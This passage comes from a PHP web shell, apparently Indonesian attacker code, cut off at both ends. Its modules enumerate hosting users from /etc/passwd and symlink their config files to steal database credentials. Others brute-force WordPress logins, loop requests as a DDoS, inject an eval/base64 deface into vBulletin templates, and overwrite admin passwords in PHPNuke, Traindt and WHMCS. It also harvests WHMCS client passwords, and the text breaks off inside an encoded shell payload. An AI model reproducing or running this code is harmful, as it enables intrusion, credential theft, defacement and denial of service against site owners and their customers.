- $rs="/homez.130/".$us."/www/".$c;
- $r="OVH/".$us."~".$c;
- symlink($rs,$r);
- }
- }
- }
- }elseif(isset($_GET['x'])&&($_GET['x']=='litespeed')){
- echo'<form action="?dm='.$pwd.'&x=litespeed" method="post">
- <body bgcolor=black><center><br/><br/> <img src="http://www.ftt.co.uk/images/nginx.png"><br/><img src="http://www.litespeedtech.com/images/litespeed/Subpage_misc/LSWS_logo.png">
- <form method=post><br/><br/>
- <b><span class="b7">O=:[ LITESPEED - NGINX TOOLS ]:=O</span></b><br/><br/>
- <p><input type=submit name="usre" value="EXTRACT USER" /></form><br/><br/><br/>';
- if(isset($_POST['usre'])){
- echo'<form method=post>
- <textarea cols=60 name=user>';
- $users=file("/etc/passwd");
- foreach($users as $user){
- $str=explode(":",$user);
- echo $str[0]."\n";
- }
- echo'</textarea><br><br>
- <input type=submit name=su value="EXECUTE" /></form><br/>';
- }
- if(isset($_POST['su'])){
- mkdir('litespeed',0777);
- $rr="Options +FollowSymlinks\nOptions +IncludesNoExec -ExecCGI\nDirectoryIndex index.html index.shtml index.htm index.php\nRemoveHandler .php\nAddType text/html .shtml\nAddType application/octet-stream .php\nAddHandler server-parsed .shtml";
- $g=fopen('litespeed/.htaccess','w');
- fwrite($g,$rr);
- $dm=symlink("/","litespeed/dm.shtml");
- $rt="<a href=litespeed/dm.shtml><b><span class='b11'>[ SYMLINK ]</span></b></a>";
- echo "[~] ";
- echo "$rt";
- $dir=mkdir('LITESPEED',0777);
- $r="Options +FollowSymlinks\nOptions +IncludesNoExec -ExecCGI\nDirectoryIndex index.html index.shtml index.htm index.php\nRemoveHandler .php\nAddType text/html .shtml\nAddType application/octet-stream .php\nAddHandler server-parsed .shtml";
- $f=fopen('LITESPEED/.htaccess','w');
- fwrite($f,$r);
- $consym="<a href=LITESPEED/><b><span class='b11'>[ CONFIG KILLER ]</span></b> </a>";
- echo " [~] ";
- echo "$consym";
- echo " [~]";
- $usr=explode("\n",$_POST['user']);
- $configuration=array("aksi.php","aksi.php.old","aksi.php.bak","conf.php","conf.php.old","conf.php.bak","conf_global.php","conf_global.php.old","conf_global.php.bak","config.php","config.php.old","config.php.bak","configuration.php","configuration.php.old","configuration.php.bak","conn.php","conn.php.old","conn.php.bak","connect.php","connect.php.old","connect.php.bak","connection.php","connection.php.old","connection.php.bak","db.php","db.php.old","db.php.bak","database.php","database.php.old","database.php.bak","inc.php","inc.php.old","inc.php.bak","koneksi.php","koneksi.php.old","koneksi.php.bak","mysql.php","myqsl.php.old","mysql.php.bak","setting.php","setting.php.old","setting.php.bak","Settings.php","Settings.php.old","Settings.php.bak","sql.php","sql.php.old","sql.php.bak");
- foreach($usr as $uss){
- $us=trim($uss);
- foreach($configuration as $c){
- $rs="/home/".$us."/public_html/".$c;
- $r="LITESPEED/".$us."~".$c;
- symlink($rs,$r);
- }
- }
- }
- }elseif(isset($_GET['x'])&&($_GET['x']=='mail')){
- if(isset($_POST['mail_send'])){
- $mail_to=$_POST['mail_to'];
- $mail_from=$_POST['mail_from'];
- $mail_subject=$_POST['mail_subject'];
- $mail_content=magicboom($_POST['mail_content']);
- if(mail($mail_to,$mail_subject,$mail_content,"FROM:$mail_from")){
- $msg="email sent to $mail_to";
- }else{
- $msg="send email failed";
- }
- }
- echo'<form action="?dm='.$pwd.'&x=mail" method="post">
- <br><br><table class="cmdbox">
- <tr><td><textarea class="output" name="mail_content" id="cmd" style="height:340px;">Hey admin, please patch your site :)</textarea></td></tr>
- <tr><td align="center"> mail to <input class="inputz" style="width:20%;" type="text" value="admin@somesome.com" name="mail_to" /> </td></tr>
- <tr><td align="center"> from <input class="inputz" style="width:20%;" type="text" value="cPanel@ganteng.com" name="mail_from" /> </td></tr>
- <tr><td align="center"> subject <input class="inputz" style="width:20%;" type="text" value="patch me" name="mail_subject" /> </td></tr>
- <tr><td align="center"> <input class="inputzbut" type="submit" name="mail_send" /></td></tr>
- <tr><td align="center"> '.$msg.'</td></tr>
- </table></form>';
- }elseif(isset($_GET['x'])&&($_GET['x']=='jumping')){
- echo'<form action="?dm='.$pwd.'&x=jumping" method="post">';
- if($safemode) {
- echo '<center><br/><br/><span class=b9>SAFE MODE ON</span><br/><br/></center>';
- }
- if(is_readable('/etc/passwd')) {
- $passwd=fopen('/etc/passwd','r');
- }else{
- $passwd=fopen('/etc/passwd-','r');
- }
- if($passwd){
- $pub=array();
- $users=array();
- $conf=array();
- $i=0;
- while(!feof($passwd)) {
- $str=fgets($passwd);
- if($i>10) {
- $pos=strpos($str, ':');
- $username=substr($str, 0,$pos);
- $dirz='/home/'.$username.'/public_html/';
- if($username!='') {
- if(is_readable($dirz)) {
- array_push($users,$username);
- array_push($pub,$dirz);
- }
- }
- }
- $i++;
- }
- echo "<center><br/><br/><b><span class='b7'>O=:[ READABLE PUBLIC_HTML ]:=O</span></b><br/><br/><table cellpadding=\"4\" align='center' border='1' width='200' cellspacing='0' cellpadding='0' style='border-collapse:collapse'>
- <tr><th><b>TOTAL:" . sizeof($pub)." TARGET VICTIM"."</th></tr>";
- sort($users);
- foreach($users as $user) {
- $path="/home/$user/public_html/";
- echo "<tr><td align=\"center\" style=\"white-space:nowrap;\"><a href='?dm=$path' target='_blank'>$path</td>";
- }
- echo "</tr></table></center>";
- }else{
- echo'<center><br/><br/><span class=b9>READ ETC/PASSWD- NOT AVAILABLE</span><br/><br/></center>';
- }
- }elseif(isset($_GET['x'])&&($_GET['x']=='domain')){
- echo'<form action="?dm='.$pwd.'&x=domain" method="post">
- <center><br><br><b><span class="b7">O=:[ LIST DOMAIN ]:=O</span></b><br><br><div class=content>';
- $file=implode(file("/etc/named.conf"));
- if($file) {
- preg_match_all("#named/(.*?).db#",$file,$r);
- $domains=array_unique($r[1]);
- echo "<table align=center border='1' style='border-collapse:collapse' cellpadding=\"4\">
- <tr><td colspan=\"3\" align=\"center\">[+] ADA [ <b>" . count($domains)."</b> ] DOMAIN</td></tr>
- <tr><td><b>Domain</b></td><td><b>User</b></td><td><b>Jumping</b></td></tr>";
- sort($domains);
- foreach($domains as $domain) {
- $user=posix_getpwuid(fileowner("/etc/valiases/".$domain));
- $usr=$user['name'];
- echo "<tr><td><a href=\"http://$domain\" target=\"_blank\">$domain</a></td>\n<td><a href=\"http://$server_ip/~".$usr."\" target=\"_blank\">".$usr."</a></td>\n";
- $tj="/home/$usr/public_html/";
- if(is_readable($tj)){
- echo"<td><a href=\"?dm=$tj\" target=\"_blank\"> Jumping </td></tr>\n";
- }else{
- echo"<td><span style=\"color:#ff0000;\"> Not Readable </span></tr>\n";
- }
- }
- echo'</table></div></center>';
- }else{
- echo "<center>can't ReaD -> [ /etc/named.conf </center>";
- }
- }elseif(isset($_GET['x'])&&($_GET['x']=='crypter')){
- echo'<form action="?dm='.$pwd.'&x=crypter" method="post">';
- $submit=$_POST['enter'];
- $pass=$_POST['password'];
- if(isset($submit)) {
- $salt='}#f4ga~g%7hjg4&j(7mk?/!bj30ab-wi=6^7-$^R9F|GK5J#E6WT;IO[JN';
- $hash=md5($pass);
- $hash_md5=md5($salt . $pass);
- $hash_md5_double=md5(sha1($salt . $pass));
- $hash1=sha1($pass);
- $hash1_sha1=sha1($salt . $pass);
- $hash1_sha1_double=sha1(md5($salt . $pass));
- }
- echo '<table class="tabnet"><tr><th colspan="2">Password Hash</th></center></tr>';
- echo '<tr><td><b>Masukan Kata:</b></td>';
- echo '<td><input class="inputz" type="text" name="password" size="40" />';
- echo '<input class="inputzbut" type="submit" name="enter" value="hash" />';
- echo '</td></tr>';
- echo '<tr><th colspan="2">Hasil Hash</th></center></tr>';
- echo '<tr><td>Original</td><td><input class=inputz type=text size=50 value=' . htmlentities($pass).'></td></tr>';
- echo '<tr><td>MD5</td><td><input class=inputz type=text size=50 value='.$hash.'></td></tr>';
- echo '<tr><td>MD5 with Salt</td><td><input class=inputz type=text size=50 value='.$hash_md5.'></td></tr>';
- echo '<tr><td>MD5 with Salt & Sha1</td><td><input class=inputz type=text size=50 value='.$hash_md5_double.'></td></tr>';
- echo '<tr><td>Sha1</td><td><input class=inputz type=text size=50 value='.$hash1.'></td></tr>';
- echo '<tr><td>Sha1 with Salt</td><td><input class=inputz type=text size=50 value='.$hash1_sha1.'></td></tr>';
- echo '<tr><td>Sha1 with Salt & MD5</td><td><input class=inputz type=text size=50 value='.$hash1_sha1_double.'></td></tr></table>';
- }elseif(isset($_GET['x'])&&($_GET['x']=='wp1')){?>
- <form action="?dm=<?php echo $pwd; ?>&x=wp1" method="post">
- <center><br/><br/>
- <form enctype="multipart/form-data" method="POST">
- <table width='624' border='0' class='tabnet' id='Box'>
- <tr><th colspan="5">Wordpress Brute Force</th></tr>
- <tr><td > </td>
- <td><p>Hosts:</p></td>
- <td><p>Users:</p></td>
- <td><p>Passwords:</p></td></tr>
- <tr><td> </td>
- <td ><textarea name="hosts" cols="30" rows="10" >
- <?php
- if($_POST) {
- echo $_POST['hosts'];
- }
- ?></textarea></td>
- <td><textarea name="usernames" cols="30" rows="10" ><?php
- if($_POST) {
- echo $_POST['usernames'];
- }else{
- echo "admin";
- }
- ?></textarea></td>
- <td ><textarea name="passwords" cols="30" rows="10" >
- <?php
- if($_POST) {
- echo $_POST['passwords'];
- }else{
- echo "admin\nadministrator\nadmin123\nqwerty\n123qwerty\nqwerty12345\n123admin\12345admin\nqwe123rty\n123123\n123321\n123456\n1234567\n12345678\n123456789\n123456123456\nadmin2010\nadmin2011\npassword\nP@ssW0rd\n!@#$%^\n!@#$%^&*(\n(*&^%$#@!\n111111\n222222\n333333\n444444\n555555\n666666\n777777\n888888\n999999";
- }
- ?></textarea></td></tr>
- <tr><td colspan="3" alig="center"><input class='inputzbut' type="submit" name="submit" value="Brute Now" />
- <?php
- if($_POST) {
- $hosts=trim(filter($_POST['hosts']));
- $passwords=trim(filter($_POST['passwords']));
- $usernames=trim(filter($_POST['usernames']));
- if($passwords&&$usernames&&$hosts) {
- $hosts_explode=explode("\n",$hosts);
- $usernames_explode=explode("\n",$usernames);
- $passwords_explode=explode("\n",$passwords);
- foreach($hosts_explode as $host) {
- $host=RemoveLastSlash($host);
- $hacked=0;
- $host=str_replace(array(
- "http://",
- "https://",
- "www."
- ), "",trim($host));
- $host="http://".$host;
- $wpAdmin=$host.'/wp-admin/';
- if(!url_exists($host."/wp-login.php")) {
- echo "<p>".$host." => <font color='red'>Error In Login Page !</font></p>";
- ob_flush();
- flush();
- continue;
- }
- foreach($usernames_explode as $username) {
- foreach($passwords_explode as $password) {
- $ch=curl_init();
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_URL,$host.'/wp-login.php');
- curl_setopt($ch, CURLOPT_COOKIEJAR, "coki.txt");
- curl_setopt($ch, CURLOPT_COOKIEFILE, "coki.txt");
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt($ch, CURLOPT_POST, TRUE);
- curl_setopt($ch, CURLOPT_POSTFIELDS, "log=".$username."&pwd=".$password."&wp-submit=Giri‏"."&redirect_to=".$wpAdmin."&testcookie=1");
- $login=curl_exec($ch);
- if(preg_match("profile.php",$login)) {
- $hacked=1;
- echo "<p>".$host." => UserName:[<font color='green'>".$username."</font>]:Password:[<font color='green'>".$password."</font>]</p>";
- ob_flush();
- flush();
- break;
- }
- }
- if($hacked==1) {
- break;
- }
- }
- if($hacked==0) {
- echo "<p>".$host." => <font color='red'>Failed !</font></p>";
- ob_flush();
- flush();
- }
- }
- }else{
- echo "<p><font color='red'>All fields are Required ! </font></p>";
- }
- }
- echo "</td></tr></table></form></center></p>";
- }elseif(isset($_GET['x'])&&($_GET['x']=='jm1')){
- }elseif(isset($_GET['x'])&&($_GET['x']=='phpddos')){?>
- <form action="?dm=<?php echo $pwd; ?>&x=phpddos" method="post">
- <?php
- echo'<p align="center">Address:<input class="inputz" name="urldd0" size="50"> Time:<input class="inputz" name="timedd0" size="6" value="40000"></b><br><input class="inputzbut"type=submit value=" Get Fire!!! "></form></p></table>';
- if(isset($_GET['urldd0']) && (!empty($_GET['timedd0']))){
- for($id=0;$id<$_GET['timedd0'];$id++){
- $fp=null;
- $contents=null;
- $fp=fopen($_GET['urldd0'],"rb");
- while(!feof($fp)){
- $contents .= fread($fp,8192);
- }
- fclose($fp);
- }
- }
- }elseif(isset($_GET['x'])&&($_GET['x']=='cf')){
- echo '<center><br/><br/>
- <form method="POST">
- <select class="inputz" name="krz">
- <option>FTP</option>
- <option>DIRECT</option>
- <option>WEBMAIL</option>
- <option>CPANEL</option></select>
- <input class="inputz" type="text" name="target" value="url">
- <input class="inputzbut" type="submit" value=" >> "></center>';
- $target=$_POST['target'];
- if($_POST['krz']=="ftp") {
- $ftp=gethostbyname("ftp."."$target");
- echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct
- Ip Is:</font><font face='Tahoma' size='2' color='#F68B1F'>$ftp</font></p>";
- }
- if($_POST['krz']=="direct-connect") {
- $direct=gethostbyname("direct-connect."."$target");
- echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct
- Ip Is:</font><font face='Tahoma' size='2' color='#F68B1F'>$direct</font></p>";
- }
- if($_POST['krz']=="webmail") {
- $web=gethostbyname("webmail."."$target");
- echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct
- Ip Is:</font><font face='Tahoma' size='2' color='#F68B1F'>$web</font></p>";
- }
- if($_POST['krz']=="cpanel") {
- $cpanel=gethostbyname("cpanel."."$target");
- echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct
- Ip Is:</font><font face='Tahoma' size='2' color='#F68B1F'>$cpanel</font></p>";
- }
- }elseif(isset($_GET['x'])&&($_GET['x']=='vb1')){?>
- <form action="?dm=<?php echo $pwd; ?>&x=vb1" method="post">
- <br><br><br><div align="center">
- <?php
- if(empty($_POST['index'])) {
- echo "<center><form method=\"POST\">
- DB Host:<input size=\"15\" value=\"localhost\" style='color:#FF0000;background-color:#000000' name=\"localhost\" type=\"text\"><br>
- DB Name:<input size=\"15\" style='color:#FF0000;background-color:#000000' value=\"\" name=\"database\" type=\"text\"><br>
- DB User:<input size=\"15\" style='color:#FF0000;background-color:#000000' value=\"\" name=\"username\" type=\"text\"><br>
- DB Pass:<input size=\"15\" style='color:#FF0000;background-color:#000000' value=\"\" name=\"password\" type=\"text\"><br>
- <br>
- <textarea name=\"index\" cols=\"100\" rows=\"20\">[+] HALAMAN INDEX DEFACE [+]</textarea><br>
- <input value=\" >> \" style='color:#FF0000;background-color:#000000' name=\"send\" type=\"submit\">
- </form></center>";
- }else{
- $localhost=$_POST['localhost'];
- $database=$_POST['database'];
- $username=$_POST['username'];
- $password=$_POST['password'];
- $index=$_POST['index'];
- @mysql_connect($localhost,$username,$password)or die(mysql_error());
- @mysql_select_db($database)or die(mysql_error());
- $index=str_replace("\'","'",$index);
- $set_index="{\${eval(base64_decode(\'";
- $set_index.=base64_encode("echo \"$index\";");
- $set_index.="\'))}}{\${exit()}}</textarea>";
- echo ("UPDATE template SET template ='".$set_index."' ");
- $ok=@mysql_query("UPDATE template SET template ='".$set_index."'")or die(mysql_error());
- if($ok) {
- echo "!! update finish !!<br><br>";
- }
- }
- }elseif(isset($_GET['x'])&&($_GET['x']=='traindt')){?>
- <form action="?dm=<?php echo $pwd; ?>&x=traindt" method="post">
- <?php
- echo "<body><center>
- <h2>^_^ DM_ZONE ^_^</h2>
- <h3>TraindtUp UsEr-PaSs FuCk3r</h3>
- <form method=POST action=''>
- DB HOST<br/>
- <input style='color:lime;background-color:#000000' value=localhost type=text name=anu1 size='40'><br/>
- DB NAME<br/>
- <input style='color:lime;background-color:#000000' type=text name=anu2 size='40'><br/>
- DB USER<br/>
- <input style='color:lime;background-color:#000000' type=text name=anu3 size='40'><br/>
- DB PASSWORD<br/>
- <input style='color:lime;background-color:#000000' type=password name=anu4 size='40'><br/>
- <hr style='color:lime;'> <p>TARGET ID ADMIN MAHO<br/>
- <input value='1' style='color:lime;background-color:#000000' type=text name=idmaho size='20'><br/>
- NEW ADMIN LOGIN USER<br/>
- <input value=admin-ganteng style='color:lime;background-color:#000000' type=text name=userbaru size='20'><br/>
- NEW ADMIN LOGIN PASS<br/>
- <input value='dm' style='color:lime;background-color:#000000' type=password name=passbaru size='20'><br/><p>
- <input style='color:lime;background-color:#000000' type=submit value='[~] GANTENGIN COK [~] ' ></form>";
- $anu1=$_POST['anu1'];
- $anu2=$_POST['anu2'];
- $anu3=$_POST['anu3'];
- $anu4=$_POST['anu4'];
- @mysql_connect($anu1,$anu3,$anu4);
- @mysql_select_db($anu2);
- $idmaho=str_replace("\'","'",$idmaho);
- $target_id=$_POST['idmaho'];
- $userbaru=str_replace("\'","'",$userbaru);
- $ganti_user=$_POST['userbaru'];
- $passbaru=str_replace("\'","'",$passbaru);
- $hash_pass=$_POST['passbaru'];
- $ganti_pass=md5($hash_pass);
- $sodok1="UPDATE admin SET admin_user ='".$ganti_user."' WHERE admin_id ='".$target_id."'";
- $sodok2="UPDATE admin SET admin_password ='".$ganti_pass."' WHERE admin_id ='".$target_id."'";
- $oke=@mysql_query($sodok1);
- $oke=@mysql_query($sodok2);
- if($oke) {
- echo "<center><font color='lime'>SUKSES BOS GANTENG :P</font>";
- }
- }elseif(isset($_GET['x'])&&($_GET['x']=='nuke')){?>
- <form action="?dm=<?php echo $pwd; ?>&x=nuke" method="post">
- <?php
- echo "<body><center>
- <h2>^_^ DM_ZONE ^_^</h2>
- <h3>PHPNuke UsEr-PaSs FuCk3r</h3>
- <form method=POST action=''>
- DB HOST<br/>
- <input style='color:lime;background-color:#000000' value=localhost type=text name=anu1 size='40'><br/>
- DB NAME<br/>
- <input style='color:lime;background-color:#000000' type=text name=anu2 size='40'><br/>
- DB USER<br/>
- <input style='color:lime;background-color:#000000' type=text name=anu3 size='40'><br/>
- DB PASSWORD<br/>
- <input style='color:lime;background-color:#000000' type=password name=anu4 size='40'><br/>
- <hr style='color:lime;'>
- TARGET PREFIX<br/>
- <input style='color:lime;background-color:#000000' type=txt name=prefix size='20'><br/>
- NEW ADMIN LOGIN USER<br/>
- <input value=admin style='color:lime;background-color:#000000' type=text name=userbaru size='20'><br/>
- NEW ADMIN LOGIN PASS<br/>
- <input value=dm style='color:lime;background-color:#000000' type=password name=passbaru size='20'><br/><p>
- <input style='color:lime;background-color:#000000' type=submit value='[~] GANTENGIN COK [~] ' ></form>";
- $anu1=$_POST['anu1'];
- $anu2=$_POST['anu2'];
- $anu3=$_POST['anu3'];
- $anu4=$_POST['anu4'];
- @mysql_connect($anu1,$anu3,$anu4);
- @mysql_select_db($anu2);
- $userbaru=str_replace("\'","'",$userbaru);
- $ganti_user=$_POST['userbaru'];
- $passbaru=str_replace("\'","'",$passbaru);
- $hash_pass=$_POST['passbaru'];
- $ganti_pass=md5($hash_pass);
- $prefix=$_POST['prefix'];
- $table_name1=$prefix."users";
- $table_name2=$prefix."authors";
- $okenuke1="UPDATE $table_name1 SET username ='".$ganti_user."' WHERE user_id ='2'";
- $okenuke2="UPDATE $table_name1 SET user_password ='".$ganti_pass."' WHERE user_id ='2'";
- $okenuke3="UPDATE $table_name2 SET aid ='".$ganti_user."' WHERE radminsuper ='1'";
- $okenuke4="UPDATE $table_name2 SET pwd ='".$ganti_pass."' WHERE radminsuper ='1'";
- $oke=@mysql_query($okenuke1);
- $oke=@mysql_query($okenuke2);
- $oke=@mysql_query($okenuke3);
- $oke=@mysql_query($okenuke4);
- if($oke) {
- echo "<center><font color='lime'>SUKSES BOS GANTENG :P</font>";
- }
- }elseif(isset($_GET['x'])&&($_GET['x']=='dmwhmcs9')){?>
- <form action="?dm=<?php echo $pwd; ?>&x=dmwhmcs9" method="post">
- <p><br/><body>
- <center><img src="http://ben90.com/wp-content/uploads/2009/07/whmcs-logo.gif"> <br/><br/><b><span class="b7">O=:[ CHECK WHMCS</span> <span class="b8">LICENSE & VERSION ]:=O</span></b><br/><br/>
- <table border=1 style="border-collapse: collapse">
- <tr><td>Hosting Site </td><td><input type="text" size="60" value="http://" name="url"></td></tr>
- <tr><td align="center" colspan="2"><input class=submit type="submit" value=" HAJAR BOS " name="plapon"></td></tr></table>
- <br></form></center>
- <?php
- if(isset($_POST['plapon'])) {
- $target=$_POST['url'];
- $bukadikitjoss=fopen("$target/?licensedebug","r");
- $hasil='';
- while(!feof($bukadikitjoss)) {
- $hasil.=fread($bukadikitjoss, 8192);
- }
- echo "<center><textarea cols='40' rows='15'>$hasil</textarea>";
- }
- echo "</table>";
- }elseif(isset($_GET['x'])&&($_GET['x']=='dmwhmcs1')){?>
- <form action="?dm=<?php echo $pwd; ?>&x=dmwhmcs1" method="post">
- <p><br/><body>
- <center><img src="http://ben90.com/wp-content/uploads/2009/07/whmcs-logo.gif"> <br/><br/><b><span class="b7">O=:[ GRAB PASSWORD CLIENT HOSTING ]:=O</span></b><br/><br/>
- <table border=1 style="border-collapse: collapse">
- <tr><td>db_host </td><td><input type="text" size="60" name="anu1" value="localhost"></td></tr>
- <tr><td>db_username </td><td><input type="text" size="60" name="anu2"></td></tr>
- <tr><td>db_password</td><td><input type="text" size="60" name="anu3"></td></tr>
- <tr><td>db_name</td><td><input type="text" size="60" name="anu4"></td></tr>
- <tr><td align="center" colspan="2"><input class=submit type="submit" value=" HAJAR BOS " name="plapon"></td></tr>
- </table>
- <br></form></center>
- <?php
- if(isset($_POST['plapon'])) {
- $perawan=$_POST['anu1'];
- $kimcil=$_POST['anu2'];
- $janda=$_POST['anu3'];
- $hotel=$_POST['anu4'];
- @mysql_connect($perawan,$kimcil,$janda);
- @mysql_select_db($hotel)or die("Gagal Koneksi Ke Database");
- $query="select subject,message from tblemails";
- $result=mysql_query($query);
- mysql_close();
- $num=mysql_numrows($result);
- $i=0;
- while($i<$num) {
- $css=mysql_result($result,$i, "subject");
- echo "<br/><br/><center><table class='explore' style=width:830px;padding:0 1px;>
- <tr><th colspan='7'> <span class='b7'>O=:[ HOST ROOT ]:=O</span> </th></tr><tr>
- <th align='center'><b>CLIENT EMAIL</b></th>
- <th align='center'><b>CLIENT PASSWORD</b></th>
- </tr>";
- if(stristr($css, "Welcome")) {
- $s=mysql_result($result,$i, "message");
- if(stristr($s, "Login Username: ")or stristr($s, "Email Address: ")) {
- $mail=get_string_between($s, "Login Username: ","<br />");
- $m2=get_string_between($s, "Email Address: ","<br />");
- $pass=get_string_between($s, "Password: ","</p>");
- print $mail . $m2.":".$pass."<br>";
- echo "<tr>
- <td align='center'>$mail.$m2.</td>
- <td align='center'>".$pass."</td>
- </tr>";
- }
- }
- ++$i;
- }
- }
- echo "</table>";
- }elseif(isset($_GET['x'])&&($_GET['x']=='dmwhmcs3')){?>
- <form action="?dm=<?php echo $pwd; ?>&x=dmwhmcs3" method="post">
- <p><br/><body>
- <center><img src="http://ben90.com/wp-content/uploads/2009/07/whmcs-logo.gif"> <br/><br/><b><span class="b7">O=:[ PASSWORD CHANGER ]:=O</span></b><br/><br/>
- <table border=1 style="border-collapse: collapse">
- <tr><td>db_host </td><td><input type="text" size="80" name="anu1" value="localhost"></td></tr>
- <tr><td>db_username </td><td><input type="text" size="80" name="anu2"></td></tr>
- <tr><td>db_password</td><td><input type="text" size="80" name="anu3"></td></tr>
- <tr><td>db_name</td><td><input type="text" size="80" name="anu4"></td></tr>
- <tr><td>id_admin</td><td><input type="text" size="80" value="1" name="idmaho"></td></tr>
- <tr><td>new_username</td><td><input type="text" size="80" value="hacker" name="userbaru"></td></tr>
- <tr><td>new_password</td><td><input type="text" size="80" value="hackerpassword" name="passbaru"></td></tr>
- <tr><td align="center" colspan="2"><input class=submit type="submit" value=" HAJAR BOS " name="plapon"></td></tr>
- </table>
- <br>
- </form>
- </center>
- <?php
- if(isset($_POST['plapon'])) {
- $anu1=$_POST['anu1'];
- $anu2=$_POST['anu2'];
- $anu3=$_POST['anu3'];
- $anu4=$_POST['anu4'];
- @mysql_connect($anu1,$anu2,$anu3);
- @mysql_select_db($anu4);
- $idmaho=str_replace("\'","'",$idmaho);
- $target_id=$_POST['idmaho'];
- $userbaru=str_replace("\'","'",$userbaru);
- $ganti_user=$_POST['userbaru'];
- $passbaru=str_replace("\'","'",$passbaru);
- $hash_pass=$_POST['passbaru'];
- $ganti_pass=md5($hash_pass);
- $colox="UPDATE tbladmins SET username ='".$ganti_user."' WHERE id ='".$target_id."'";
- $coloxx="UPDATE tbladmins SET password ='".$ganti_pass."' WHERE id ='".$target_id."'";
- $udah_ganteng=@mysql_query($colox);
- $udah_ganteng=@mysql_query($coloxx);
- if($udah_ganteng) {
- echo "<font color='lime'>SUKSES BOS GANTENG :P</font>";
- }
- }
- }elseif(isset($_GET['x'])&&($_GET['x']=='dmwhmcs2')){?>
- <form action="?dm=<?php echo $pwd; ?>&x=dmwhmcs2" method="post">
- <p><br/><body>
- <center><img src="http://ben90.com/wp-content/uploads/2009/07/whmcs-logo.gif"> <br/><br/><b><span class="b7">O=:[ INJECT SHELL ]:=O</span></b><br/><br/>
- <table border=1 style="border-collapse: collapse">
- <tr><td>db_host </td><td><input type="text" size="80" name="anu1" value="localhost"></td></tr>
- <tr><td>db_username </td><td><input type="text" size="80" name="anu2"></td></tr>
- <tr><td>db_password</td><td><input type="text" size="80" name="anu3"></td></tr>
- <tr><td>db_name</td><td><input type="text" size="80" name="anu4"></td></tr>
- <tr><td align="center" colspan="2"> <textarea rows='10' cols='67'
- name=shell>{php}eval(base64_decode('JGMwZGUgID0gYmFzZTY0X2RlY29kZSgnUjBsR09EbGhVRHM4Y0NCaGJHbG5iajBpWTJWdWRHVnlJajROQ2cwS1BEOXdhSEFOQ21WeWNtOXlYM0psY0c5eWRHbHVaeWd3S1RzTkNpUnpZM0pwY0hSdVlXMWxJRDBnSkY5VFJWSldSVkpiSjFORFVrbFFWRjlPUVUxRkoxMDdEUW9rWm1sc1pXNWhiV1VnUFNBa1gxQlBVMVJiSW1acGJHVnVZVzFsSWwwN0RRcHBaaWdrWDFCUFUxUmJJbk4xWW0xcGRDSmRJRDA5SUNKUGNHVnVJaWtOQ25zTkNtbG1LR1pwYkdWZlpYaHBjM1J6S0NSbWFXeGxibUZ0WlNrcERRcDdEUW9rWm1sc1pXTnZiblJsYm5SeklEMGdhSFJ0YkdWdWRHbDBhV1Z6S0dacGJHVmZaMlYwWDJOdmJuUmxiblJ6S0NSbWFXeGxibUZ0WlNrcE93MEthV1lvSVNSbWFXeGxZMjl1ZEdWdWRITXBEUW9rYzNSaGRIVnpJRDBnSWp4bWIyNTBJR1poWTJVOUoxWmxjbVJoYm1FbklITjBlV3hsUFNkbWIyNTBMWE5wZW1VNklEaHdkQ2MrUlhKeWIzSWdUbTkwYUdsdVp5QkdhV3hsUEM5bWIyNTBQaUk3RFFwOURRcGxiSE5sRFFva2MzUmhkSFZ6SUQwZ0lqeG1iMjUwSUdaaFkyVTlKMVpsY21SaGJtRW5JSE4wZVd4bFBTZG1iMjUwTFhOcGVtVTZJRGh3ZENjK1JtbHNaU0JrYjJWeklHNXZkQ0JsZUdsemRDRThMMlp2Ym5RK0lqc05DbjBKQ1EwS1pXeHpaU0JwWmlna1gxQlBVMVJiSW5OMVltMXBkQ0pkSUQwOUlDSkVaV3hsZEdVaUtRMEtldzBLYVdZb1ptbHNaVjlsZUdsemRITW9KR1pwYkdWdVlXMWxLU2tOQ25zTkNtbG1LSFZ1YkdsdWF5Z2tabWxzWlc1aGJXVXBLUWtOQ2lSemRHRjBkWE1nUFNBaVBHWnZiblFnWm1GalpUMG5WbVZ5WkdGdVlTY2djM1I1YkdVOUoyWnZiblF0YzJsNlpUb2dPSEIwSno1R2FXeGxJSE4xWTJObGMzTm1kV3hzZVNCa1pXeGxkR1ZrSVR3dlptOXVkRDRpT3cwS1pXeHpaUTBLSkhOMFlYUjFjeUE5SUNJOFptOXVkQ0JtWVdObFBTZFdaWEprWVc1aEp5QnpkSGxzWlQwblptOXVkQzF6YVhwbE9pQTRjSFFuUGtOdmRXeGtJRzV2ZENCa1pXeGxkR1VnWm1sc1pTRThMMlp2Ym5RK0lqc05DbjBOQ21Wc2MyVU5DaVJ6ZEdGMGRYTWdQU0FpUEdadmJuUWdabUZqWlQwblZtVnlaR0Z1WVNjZ2MzUjViR1U5SjJadmJuUXRjMmw2WlRvZ09IQjBKejVHYVd4bElHUnZaWE1nYm05MElHVjRhWE4wSVR3dlptOXVkRDRpT3cwS2ZRMEtaV3h6WlNCcFppZ2tYMUJQVTFSYkluTjFZbTFwZENKZElEMDlJQ0pUWVhabElpa05DbnNOQ2lSbWFXeGxZMjl1ZEdWdWRITWdQU0J6ZEhKcGNITnNZWE5vWlhNb2FIUnRiRjlsYm5ScGRIbGZaR1ZqYjJSbEtDUmZVRTlUVkZzaVkyOXVkR1Z1ZEhNaVhTa3BPdzBLYVdZb1ptbHNaVjlsZUdsemRITW9KR1pwYkdWdVlXMWxLU2tOQ25WdWJHbHVheWdrWm1sc1pXNWhiV1VwT3cwS0pHaGhibVJzWlNBOUlHWnZjR1Z1S0NSbWFXeGxibUZ0WlN3Z0luY2lLVHNOQ21sbUtDRWthR0Z1Wkd4bEtRMEtKSE4wWVhSMWN5QTlJQ0k4Wm05dWRDQm1ZV05sUFNkV1pYSmtZVzVoSnlCemRIbHNaVDBuWm05dWRDMXphWHBsT2lBNGNIUW5Qa052ZFd4a0lHNXZkQ0J2Y0dWdUlHWnBiR1VnWm05eUlIZHlhWFJsSUdGalkyVnpjeUVnUEM5bWIyNTBQaUk3RFFwbGJITmxEUXA3RFFwcFppZ2habmR5YVhSbEtDUm9ZVzVrYkdVc0lDUm1hV3hsWTI5dWRHVn